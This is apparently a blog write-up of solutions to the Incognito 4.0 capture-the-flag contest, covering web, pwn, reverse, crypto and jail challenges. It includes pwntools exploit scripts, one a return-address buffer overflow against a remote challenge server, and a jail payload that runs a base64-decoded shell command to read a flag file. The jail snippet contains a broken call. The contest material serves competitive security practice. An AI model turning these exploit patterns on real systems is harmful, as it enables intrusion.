Incognito 4.0 CTF Write Up

Web

1. get flag 1

[http://0.0.0.0:9001/flag.txt
1676715182889.png

2. get flag 2

http://[::]:9001/flag.txt
1676715283910.png

Pwn

1. babyFlow

from pwn import *

p = remote('143.198.219.171',5000)
p.recv()
g = (0x14+4)*'a'+p32(0x80491fc)
p.sendline(g)
p.interactive()

#ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}

2. Gainme

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'
p  = remote('143.198.219.171',5003)
p.recvline()
p.recvuntil('Level 0:')
p.sendline("ICTF4")
p.recvuntil('Level 1:')
p.sendline('dasDASQWgjtrkodsc')
p.recvuntil('Level 2:')
p.sendline(p64(0xDEADBEEF))
p.recvuntil('Level 3:')
p.sendline('1')
p.interactive()

#ictf{g@inm3-sf23f-4fd2150cd33db}

Reverse

1. Meow

data=open("Meow","rb").read()
print(data[1::2].decode(errors='ignore'))

#ictf{easiest_challenge_of_them_all}

Crypto

1. Ancient

下载的图片需要手动加png文件头

https://jsom1.github.io/_challenges/templed

在这里插入图片描述

一个比赛原题
手动对着表转一下就行
在这里插入图片描述

2. Crypto1

with open("result", 'r', encoding='utf-8') as f:
    cy = f.read()
print(cy)
print(len(cy))

def func(f, i):
    if i<5:
        out = ord(f) ^ 0x76 ^ 0xAD
        var1 = (out & 0xAA) >> 1
        var2 = 2 * out & 0xAA
        return var1 | var2 
    elif i>=5 and i<10:
        out = ord(f) ^ 0x76 ^ 0xBE
        var1 = (out & 0xCC) >> 2
        var2 = 4 * out & 0xCC
        return var1 | var2
    else:
        out = ord(f) ^ 0x76 ^ 0xEF
        var1 = (out & 0xF0) >> 4
        var2 = 16 * out & 0xF0
        return var1 | var2

dic = {}
flag = ''
for i in range(15):
    for j in range(128):
        t = chr(func(chr(j), i))
        if t==cy[i]:
            print(i, chr(j), j)
            flag += chr(j)
            break

print(flag)

#ictf{88f30d1cd1ab443}

TheOnlyJail

1. TheOnlyJail

import os
import base64

os.system(b64.base64decode("some_base64_encoded_command_like_cat /home/ctf/flag.txt"))
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值